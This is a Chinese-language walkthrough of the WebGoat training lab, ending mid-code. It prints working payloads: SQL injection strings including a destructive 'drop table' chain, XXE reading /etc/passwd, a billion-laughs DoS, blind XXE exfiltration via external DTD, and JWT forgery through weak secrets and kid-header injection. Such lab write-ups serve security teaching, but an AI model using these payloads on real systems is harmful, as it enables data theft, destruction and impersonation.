多读书多实践,勤思考善领悟

Web安全攻防靶场之WebGoat(一)

本文于2117天之前发表,文中内容可能已经过时。

概述

WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

GitHub地址为https://github.com/WebGoat/WebGoat

img

部署后首页截图
img
img

目前WebGoat分为三类,Lesson、Challenges/CTF、WebWolf。
其中Lesson为课程,每个课程中包括漏洞描述,成因,以及练习,
img
上图中红色的点就是练习内容,如果练习通过了,红点就变成绿色的。
Challenges/CTF 就是常规的一些解题内容。
WebWolf是一套含有漏洞的应用,用来进行漏洞练习。

部署

使用release版本部署

在github上WebGoat的release版本库里https://github.com/WebGoat/WebGoat/releases 下载release版本。
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M17/webgoat-server-8.0.0.M17.jar
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M17/webwolf-8.0.0.M17.jar

下载完成后到下载目录,执行命令

1
java -jar webgoat-server-8.0.0.M17.jar

img
这样就能打开WebGoat了。
同时,官方提供了另外一个含有漏洞的应用WebWolf来,执行命令

1
java -jar webwolf-8.0.0.M17.jar

img

都执行成功后,就可以通过通过链接http://127.0.0.1:8080/WebGoat/ 访问WebGoat,通过链接http://127.0.0.1:9090/login 访问WebWolf。

使用

首先需要注入一个账号,然后登陆后,按照WebGoat的侧边顺序一项一项进行测试。

img

Introduction

WebGoat

WebGoat is a deliberately insecure application that allows interested developers just like you to test vulnerabilities commonly found in Java-based applications that use common and popular open source components.
Now, while we in no way condone causing intentional harm to any animal, goat or otherwise, we think learning everything you can about security vulnerabilities is essential to understanding just what happens when even a small bit of unintended code gets into your applications.
What better way to do that than with your very own scapegoat?
Feel free to do what you will with him. Hack, poke, prod and if it makes you feel better, scare him until your heart’s content. Go ahead, and hack the goat. We promise he likes it.
Thanks for your interest!

WebWolf

利用在WebGoat上注册的账号登录http://127.0.0.1:9090/WebWolf/home

里面的两个assignment只要是为了说明钓鱼攻击。简单测试即可

General

HTTP Basics

本课介绍了理解浏览器和Web应用程序之间数据传输以及如何使用HTTP代理捕获请求/响应的基础知识。

Stage 2

就是一个简单的发送包程序

Stage 3

此assignment的主要目的是让学习者学习如何看HTTP数据包,从下图可以看到,该题目使用的数据提方式为POST,里面有参数magic_num,具体指请查看数据包内容。
Chrome具体操作为,在页面空白处点击右键,选择检查,然后在新打开的栏目中点击网络,然后在页面上点击Go!,然后选择attack2,查看具体包内容。

HTTP Proxies

这里说明如何使用代理捕获流量,我们使用BurpSuite。

打开BurpSuite,进入下图红框界面,设置代理端户口为127.0.0.1:9999

打开chrome浏览器,安装插件SwitchyOmega,打开设置,新建情景模式burp,代理端口9999。

选择代理burp。

设置Burpsuite代理为打开。

然后进行本单元测试。

点击Submit后,向抓取的包添加x-request-intercepted:true,修改POST提交方式为GET,同时修改参数chagnMe的值为Requests+are+tampered+easily,完成测试。

Injection Flaws

这里是注入攻击的课程,包括sql注入和XXE(XML External Entity attack,外部实体引用攻击)。

SQL Injection

了解什么是sql注入攻击,sql注入攻击包括字符型和数字型。

字符型注入

1
"select * from users where name = '" + userName + "'";

数字型注入

1
"select * from users where employee_id = "  + userID;

攻击方式

1
2
3
4
userName = Smith' or '1'='1
userName =' or 1=1 --
userID = 1234567 or 1=1
UserName = Smith閳ワ拷;drop table users; truncate audit_log;--

拼接到sql语句后的形式

1
2
3
select * from users where name = 'Smith' or '1' = '1'
select * from users where name = 'Smith' or TRUE
select * from users where employee_id = 1234567 or 1=1

Stage7

输入' or '1'='1,然后就获取了所有信息。

Stage8

输入1 or 1=1,然后就获取了所有信息。

SQL Injection(advanced)

sql特殊符号

1
2
3
4
5
6
7
8
9
10
/* */    are inline comments
-- , # are line comments
Example: Select * from users where name = 'admin' --and pass = 'pass'

; allows query chaining
Example: Select * from users; drop table users;

',+,|| allows string concatenation
Char() strings without quotes
Example: Select * from users where name = '+char(27) or 1=1

sql语句

1
2
union   Select id, text from news union all select name, pass from users'
join 可以联结其他表

Stage3

union注入,该问题需要注意首先要union的列数一致,同时还需要对应列的类型一致。

1
Smith' union select 1,user_name,password, '4','5','6',7 from user_system_data --

Stage5

登录代码都写成这样了,目前还没想出来怎么使用tom进行登录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@RequestMapping(method = POST)
@ResponseBody
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
Connection connection = DatabaseUtilities.getConnection(webSession);
checkDatabase(connection);

PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = ? and password = ?");
statement.setString(1, username_login);
statement.setString(2, password_login);
ResultSet resultSet = statement.executeQuery();

if (resultSet.next() && "tom".equals(username_login)) {
return success().build();
} else {
return failed().feedback("NoResultsMatched").build();
}
}

但是在注册代码处存在问题,在查询用户是否注册时传入的uesrid没有进行任何过滤,会导致盲注漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@PutMapping  //assignment path is bounded to class so we use different http method :-)
@ResponseBody
public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {
AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);

if (attackResult == null) {
Connection connection = DatabaseUtilities.getConnection(webSession);
checkDatabase(connection);

String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = '" + username_reg + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(checkUserQuery);

if (resultSet.next()) {
attackResult = failed().feedback("user.exists").feedbackArgs(username_reg).build();
} else {
PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO " + USERS_TABLE_NAME + " VALUES (?, ?, ?)");
preparedStatement.setString(1, username_reg);
preparedStatement.setString(2, email_reg);
preparedStatement.setString(3, password_reg);
preparedStatement.execute();
attackResult = success().feedback("user.created").feedbackArgs(username_reg).build();
}
}
return attackResult;
}

可以这样进行测试,我已经注册了一个admin账户,再次注册会报用户已注册。

然后使用一个这样admin' and '1'='2去注册,会发现永远都可以注册成功,具体的原因是这样,admin' and '1'='2的用户名构造成的查询用户是否注册语句会成为

1
select userid from user where userid = 'admin' and '1'='2'

可以看到,这样的sql语句是永远也查不出结果的,所以就一直提示未注册,这也就证明了这里存在sql盲注漏洞。

可以用sqlmap跑一下看看结果。

SQL Injection(mitigation)

防御sql注入,其实就是session,参数绑定,存储过程这样的注入。

1
2
3
4
5
6
7
8
// 利用session防御,session内容正常情况下是用户无法修改的
select * from users where user = "'" + session.getAttribute("UserID") + "'";

// 参数绑定方式,利用了sql的预编译技术
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

上面说的方式也不是能够绝对的进行sql注入防御,只是减轻。

如参数绑定方式可以使用下面方式绕过。
通过使用case when语句可以将order by后的orderExpression表达式中添加select语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
select * from users order by lastname;
------------------------------------------------------------------------------------

SELECT ...
FROM tableList
[WHERE Expression]
[ORDER BY orderExpression [, ...]]

orderExpression:
{ columnNr | columnAlias | selectExpression }
[ASC | DESC]

selectExpression:
{ Expression | COUNT(*) | {
COUNT | MIN | MAX | SUM | AVG | SOME | EVERY |
VAR_POP | VAR_SAMP | STDDEV_POP | STDDEV_SAMP
} ([ALL | DISTINCT][2]] Expression) } [[AS] label]

Based on HSQLDB
---------------------------------------------------------------------------------------

select * from users order by (case when (true) then lastname else firstname)

Stage8 question

这道题目看题目源码就是一个case注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
@SneakyThrows
@ResponseBody
public List<Server> sort(@RequestParam String column) {
Connection connection = DatabaseUtilities.getConnection(webSession);
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column);
ResultSet rs = preparedStatement.executeQuery();
List<Server> servers = Lists.newArrayList();
while (rs.next()) {
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
servers.add(server);
}
return servers;
}

目前使用(case when (true) then id else ip end)写在column中是可以执行的,对应的sql语句为

1
select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by (case when (true) then id else ip end)

由于对hsqldb语法不了解,后面的注入过程无法再继续了。

XXE

全称XML External Entity attack,XML外部实体攻击。
一个XML实体允许定义标签,当解析XML文档时,标签将被内容取代。 通常有三种类型的实体:
* 内部实体
* 外部实体
* 参数实体。

一个实体必须在文档类型定义(Document Type Definition,DTD)中创建,一个例子:

1
2
3
4
5
6
<?xml version="1.0" standalone="yes" ?>
<!DOCTYPE author [
<!ELEMENT author (#PCDATA)>
<!ENTITY js "Jo Smith">
]>
<author>&js;</author>

在xml后面的部分里,调用实体&js; 解析器将用实体中定义的值替换它。而XXE攻击就是因为实体内容可以被攻击者控制而导致的一种攻击。

用上面的XML做一个具体解释,第一行表明该文档符合XML1.0,第二行说明该文档使用author词汇表,author是根元素。关键字SYSTEM 解析器将根据给出的URL寻找DTD,关键字PUBLIC 根据URI寻找DTD。
DTD的四种标记声明
ELEMENT xml元素类型声明
ATTLIST 特定元素类型可设置的属性&属性的允许值声明
ENTITY 可重用的内容声明
NOTATION 不要解析的外部内容的格式声明。

Stage 3

只是最简单的一个引用外部实体,下图添加评论comment并提交后。

会得到下图的数据包,可以看到,评论是通过xml格式传到后台的,所以就可以进行xxe测试了。

按照如下数据包进行发送,就可以获取填入的文件内容。在comment字段中调用了DTD中定义的实体test,而test实体又是获取文件/etc/passwd的内容,由于题目并没有回显,而是同时返回包的内容来进行判断是否成功,当再次刷新页面的时候,就可以看到/etc/passwd的内容在评论里显示出来了。

1
2
3
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE copyright [<!ENTITY test SYSTEM
"file:///etc//passwd">]>
<comment><text>hello&test;</text></comment>

Stage 4

和上一题目类似,不过此题目采用的传输数据包是json格式。

因为json的xxe攻击方式其实就是测试当HTTP头的属性Content-Type: application/xml是否能够正确接受,只要能够接受,就有很大概率存在xxe,从下图可以看到,该题目虽然用json能够正常传到后台,但是使用xml传输也是能够正常执行的。

看下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult createNewUser(@RequestBody String commentStr, @RequestHeader("Content-Type") String contentType) throws Exception {
AttackResult attackResult = failed().build();

if (APPLICATION_JSON_VALUE.equals(contentType)) {
comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true));
attackResult = failed().feedback("xxe.content.type.feedback.json").build();
}

if (MediaType.APPLICATION_XML_VALUE.equals(contentType)) {
String error = "";
try {
Comment comment = comments.parseXml(commentStr);
comments.addComment(comment, false);
if (checkSolution(comment)) {
attackResult = success().build();
}
} catch (Exception e) {
error = org.apache.commons.lang.exception.ExceptionUtils.getFullStackTrace(e);
attackResult = failed().feedback("xxe.content.type.feedback.xml").output(error).build();
}
}

return trackProgress(attackResult);
}

源码对Content-Type进行了判断,然后根据不同类型来进行不同的解析操作。所以修改了HTTP包头的Content-Type属性后,和Stage 3的poc一样就可以xxe了。

xxe 的 ddos

当xml中的dtd包含这样的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

当XML解析器加载此文档时,它会看到它包含一个根元素“lolz”,其中包含文本“&lol9;”。 但是,“&lol9;” 是一个定义的实体,扩展为包含十个“&lol8;”的字符串字符串。 每个“&lol8;” 字符串是一个定义的实体,扩展为十个“&lol7;” 字符串等等。 所有的实体扩展都经过处理后,这个小于1KB的xml将扩展到3GB。

盲XXE

在某些情况下,xxe没有输出,因为尽管您的攻击可能已经发挥作用,但该字段并未反映在页面的输出中。 或者您尝试读取的资源包含导致解析器失败的非法XML字符。 用Stage 7这个例子说明一下。

Stage 7

首先,我们包含一个外部dtd,叫做attack.dtd,此dtd我用python启动SimpleHTTPSever进行访问。

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1:8000/attack.dtd">
%remote;
]>
<comment>
<text>test&send;</text>
</comment>

下面就是这个attack.dtd的具体内容,可以看到这段xml的意思是,先访问一个secret.txt文件,将内容放在对象file中,然后将file放在链接http://localhost:9090/landing?text=%file中发送出去,这样,就可以把一个没有回显的xxe做到读出内容。

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///Users/dny/.webgoat-8.0.0.M17/XXE/secret.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
%all;

具体效果如下:

Authentication Flaws

身份验证缺陷

Authentication Bypasses

权限绕过

Stage 2

本题目其实很简单,问题出在进行参数判断时,没有对参数名进行有效的处理,只判断了安全问题个数一致,就可以通过。具体代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public boolean verifyAccount(Integer userId, HashMap<String,String> submittedQuestions ) {
//short circuit if no questions are submitted
if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
return false;
}
if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) {
return false;
}
if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("seQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
return false;
}
// else
return true;
}

攻击截图

更换后

JWT tokens

jwt是一种防止用户修改本地存储数据的数据结构。

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA.
JSON Web Token is used to carry information related to the identity and characteristics (claims) of a client. This “container” is signed by the server in order to avoid that a client tamper it in order to change, for example, the identity or any characteristics (example: change the role from simple user to admin or change the client login). This token is created during authentication (is provided in case of successful authentication) and is verified by the server before any processing. It is used by an application to allow a client to present a token representing his “identity card” (container with all user information about him) to server and allow the server to verify the validity and integrity of the token in a secure way, all of this in a stateless and portable approach (portable in the way that client and server technologies can be different including also the transport channel even if HTTP is the most often used)

jwt具体内容为https://jwt.io/introduction/

一个JWT token的样式如下:

这个token是由header.claims.signature三部分组成的base64字符串,解码后样式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"alg":"HS256",
"typ":"JWT"
}
.
{
"exp": 1416471934,
"user_name": "user",
"scope": [
"read",
"write"
],
"authorities": [
"ROLE_ADMIN",
"ROLE_USER"
],
"jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
"client_id": "my-client-with-secret"
}
.
qxNjYSPIKSURZEMqLQQPw1Zdk6Le2FdGHRYZG7SQnNk

使用方式

Stage 4

此题目的是要求使用admin权限的账户进行vote的reset操作,但是默认的几个用户都不是admin权限。

将jwt token进行解密

1
2
3
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Mjk1NTkzNzksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.KcvygZbm6EzDZn8_X7ppL5M6NdnNPkObZv7e-KyOKZf6Zui3-DB5ClHCLOj3dlgT6ngJHqMT0FWhP-DwQkj1og

{"alg":"HS512"}.{"iat":1529559379,"admin":"false","user":"Tom"}.KcvygZbm6EzDZn8_X7ppL5M6NdnNPkObZv7e-KyOKZf6Zui3-DB5ClHCLOj3dlgT6ngJHqMT0FWhP-DwQkj1og

基于此,则用下面一段代码生成一个新的jwt token,让用户为admin权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package dd.webgoat;

import java.time.Duration;
import java.time.Instant;
import java.util.Date;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;

public class JWTToken {
public static final String JWT_PASSWORD = "victory";

public static void createJWTToken() {
Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));
claims.put("admin", "True");
claims.put("user", "Tom");
String token = Jwts.builder().setClaims(claims).signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).compact();
System.out.println(token);
}
public static void main(String[] args) {
JWTToken.createJWTToken();
}
}

// output : eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Mjk1NTk3MzMsImFkbWluIjoiVHJ1ZSIsInVzZXIiOiJUb20ifQ.8NbUmA9omqwnV5GwVhPep_-59Bpt5rbqVxxHgRmoeRY59brbGI002OiLmBZ9gP1J9IEhAb5cY6LYytyHzqQ_FA

更改发包中的内容,即可通过此题目。

注意,此题目生成token的代码中,需要知道jwt token生成的盐是什么值,才能够保证jwt token生成后的签名值的正确性。

Stage 5

此题目和Stage 4类似,是让对一段jwt token进行解码并修改username值后再次提交,如果能够通过验证,则通过此题目。

1
2
3
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0

{"typ":"JWT","alg":"HS256"}.{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"tom@webgoat.com","username":"Tom","Email":"tom@webgoat.com","Role":["Manager","Project Administrator"]}.m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0

直接给出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package dd.webgoat;

import java.awt.List;
import java.time.Duration;
import java.time.Instant;
import java.util.ArrayList;
import java.util.Date;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;

public class JWTSecret_S5 {
public static final String JWT_PASSWORD = "victory";

public static void createJWTToken() {
Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));
claims.put("iss", "WebGoat Token Builder");
claims.put("exp", 1618905304);
claims.put("aud", "webgoat.org");
claims.put("sub", "tom@webgoat.com");
claims.put("username", "WebGoat");
claims.put("Email", "tom@webgoat.com");
ArrayList<String> roleList = new ArrayList<String>();
roleList.add("Manager");
roleList.add("Project Administrator");
claims.put("Role", roleList);
String token = Jwts.builder().setClaims(claims).signWith(io.jsonwebtoken.SignatureAlgorithm.HS256, JWT_PASSWORD).compact();
System.out.println(token);
}

public static void main(String[] args) {
JWTSecret_S5.createJWTToken();
}
}

// output: eyJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1Mjk1NjA2NDEsImlzcyI6IldlYkdvYXQgVG9rZW4gQnVpbGRlciIsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.mgB3v5oGeeL7gKUctTwbZ81tTjtpX7W54EiUpDeGyMo

成功通过

Stage 7

通常有两种令牌:访问令牌和刷新令牌。 访问令牌用于对服务器进行API调用。 访问令牌的使用寿命有限,这就是刷新令牌的来源。一旦访问令牌不再有效,可以通过呈现刷新令牌向服务器发送请求以获得新的访问令牌。 刷新令牌可以过期,但其寿命要长得多。

http://127.0.0.1:8080/WebGoat/images/logs.txt可以找到付款链接中存在Tom的jwt token,但是使用后发现token已过期,说明需要刷新该token才能再次使用。

此题目后台代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
@AssignmentPath("/JWT/refresh/")
@AssignmentHints({"jwt-refresh-hint1", "jwt-refresh-hint2", "jwt-refresh-hint3", "jwt-refresh-hint4"})
public class JWTRefreshEndpoint extends AssignmentEndpoint {

public static final String PASSWORD = "bm5nhSkxCXZkKRy4";
private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4";
private static final List<String> validRefreshTokens = Lists.newArrayList();

// 这里是进行登录,获取访问令牌和刷新令牌
@PostMapping(value = "login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
public @ResponseBody
ResponseEntity follow(@RequestBody Map<String, Object> json) {
String user = (String) json.get("user");
String password = (String) json.get("password");

if ("Jerry".equals(user) && PASSWORD.equals(password)) {
return ResponseEntity.ok(createNewTokens(user));
}
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}

private Map<String, Object> createNewTokens(String user) {
Map<String, Object> claims = Maps.newHashMap();
claims.put("admin", "false");
claims.put("user", user);
String token = Jwts.builder()
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
.compact();
Map<String, Object> tokenJson = Maps.newHashMap();
String refreshToken = RandomStringUtils.randomAlphabetic(20);
validRefreshTokens.add(refreshToken);
tokenJson.put("access_token", token);
tokenJson.put("refresh_token", refreshToken);
return tokenJson;
}

// 使用新的访问令牌进行买单
@PostMapping("checkout")
public @ResponseBody
AttackResult checkout(@RequestHeader("Authorization") String token) {
try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user");
if ("Tom".equals(user)) {
return trackProgress(success().build());
}
return trackProgress(failed().feedback("jwt-refresh-not-tom").feedbackArgs(user).build());
} catch (ExpiredJwtException e) {
return trackProgress(failed().output(e.getMessage()).build());
} catch (JwtException e) {
return trackProgress(failed().feedback("jwt-invalid-token").build());
}
}

// 使用刷新令牌更新访问令牌,这里存在的漏洞是没有验证访问令牌用户和刷新令牌用户是否一致
@PostMapping("newToken")
public @ResponseBody
ResponseEntity newToken(@RequestHeader("Authorization") String token, @RequestBody Map<String, Object> json) {
String user;
String refreshToken;
try {
Jwt<Header, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
user = (String) jwt.getBody().get("user");
refreshToken = (String) json.get("refresh_token");
} catch (ExpiredJwtException e) {
user = (String) e.getClaims().get("user");
refreshToken = (String) json.get("refresh_token");
}

if (user == null || refreshToken == null) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else if (validRefreshTokens.contains(refreshToken)) {
validRefreshTokens.remove(refreshToken);
return ResponseEntity.ok(createNewTokens(user));
} else {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
}

}

所以此题的思路应该是,首先找到用Jerry账户登录,获取刷新token,然后使用刷新token和Tom的访问token进行访问令牌的刷新,获取到新的访问令牌后,进行购物车买单,绕过权限。
获取Jerry的刷新令牌。
img
使用Jerry的刷新令牌获取Tom的访问令牌。
img
使用Tom的访问令牌进行买单操作,题目完成。
img

Stage 8

本题目的目的是让用户能够仿冒Tom的Token来删除他的微博。

从下面源码进行分析,可以看到JWT的签名盐是从数据库中读取的,但是获取数据库盐的值的地方传入的参数kid并没有进行任何的过滤,这样就可以使用注入来伪造一个JWT的签名盐,从而达到伪造目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
@PostMapping("delete")
public @ResponseBody
AttackResult resetVotes(@RequestParam("token") String token) {
if (StringUtils.isEmpty(token)) {
return trackProgress(failed().feedback("jwt-invalid-token").build());
} else {
try {
final String[] errorMessage = {null};
Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
final String kid = (String) header.get("kid");
try {
Connection connection = DatabaseUtilities.getConnection(webSession);
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();
}
return null;
}
}).parse(token);
if (errorMessage[0] != null) {
return trackProgress(failed().output(errorMessage[0]).build());
}
Claims claims = (Claims) jwt.getBody();
String username = (String) claims.get("username");
if ("Jerry".equals(username)) {
return trackProgress(failed().feedback("jwt-final-jerry-account").build());
}
if ("Tom".equals(username)) {
return trackProgress(success().build());
} else {
return trackProgress(failed().feedback("jwt-final-not-tom").build());
}
} catch (JwtException e) {
return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
}
}
}

分析一下原始Token的内容。

1
2
3
eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8

{"typ":"JWT","kid":"webgoat_key","alg":"HS256"}.{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"jerry@webgoat.com","username":"Jerry","Email":"jerry@webgoat.com","Role":["Cat"]}.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8

也看当前的用户是Jerry,首先我们将用户名改为Tom,然后修改第一部分中kid的值为webgoat_key' and '1'='2' union select id FROM jwt_keys WHERE id='webgoat_key,即当查询表jwt_keys时,又将输入参数kid的值webgoat_key返回给jwt token当做签名盐使用。构造代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package dd.webgoat;

import java.time.Duration;
import java.time.Instant;
import java.util.ArrayList;
import java.util.Date;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;

public class JWTToken_S8 {
public static final String JWT_PASSWORD = "webgoat_key";

public static void createJWTToken() {
//{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org",
//"sub":"jerry@webgoat.com","username":"Tom","Email":"jerry@webgoat.com","Role":["Cat"]}
Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));
claims.put("iss", "WebGoat Token Builder");
claims.put("exp", 1618905304);
claims.put("aud", "webgoat.org");
claims.put("sub", "jerry@webgoat.com");
claims.put("username", "Tom");
claims.put("Email", "jerry@webgoat.com");
ArrayList<String> roleList = new ArrayList<String>();
roleList.add("Cat");
claims.put("Role", roleList);
String token = Jwts.builder().setClaims(claims).setHeaderParam("typ", "JWT")
.setHeaderParam("kid", "webgoat_key' and '1'='2' union select id FROM jwt_keys WHERE id='webgoat_key")
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS256, JWT_PASSWORD).compact();
